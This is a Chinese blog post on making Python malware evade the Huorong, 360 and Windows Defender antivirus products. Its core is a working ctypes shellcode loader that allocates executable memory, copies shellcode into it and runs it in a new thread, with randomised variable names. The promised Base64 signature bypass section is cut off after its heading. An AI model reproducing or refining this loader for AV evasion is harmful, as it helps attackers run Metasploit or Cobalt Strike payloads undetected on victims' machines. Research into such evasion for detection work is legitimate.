admin 管理员组文章数量: 1184232
目录
简介
环境
原理
加载ShellCode
定位特征码
Base64编码绕过
简介
之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。
环境
- Windows 10 x64
- Python 3.8.3
- Pyinstaller
- 火绒版本:5.0.53.1,病毒库:2020-10-09
- 360安全卫士:12.0.0.2003,备用木马库:2020-10-10
- 360杀毒:5.0.0.8170
原理
杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:
因此,本文通过使用base64编码混淆代码来绕过特征检测。
加载ShellCode
在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:
import ctypes
shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),ctypes.c_int(0x40)
)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(wiseZERld),
shellcode,
ctypes.c_int(len(shellcode))
)
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),#指向安全属性的指针
ctypes.c_int(0),#初始堆栈大小
ctypes.c_int(wiseZERld),#指向起始地址的指针
ctypes.c_int(0),#指向任何参数的指针
ctypes.c_int(0),#创建标志
ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(CVXWRcjqxL),
ctypes.c_int(-1)
)
定位特征码
但上面的代码早已被提取特征码,杀毒软件会检测到,如图:
版权声明:本文标题:Python免杀火绒、360和Defender 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://roclinux.cn/b/1763887327a3276969.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论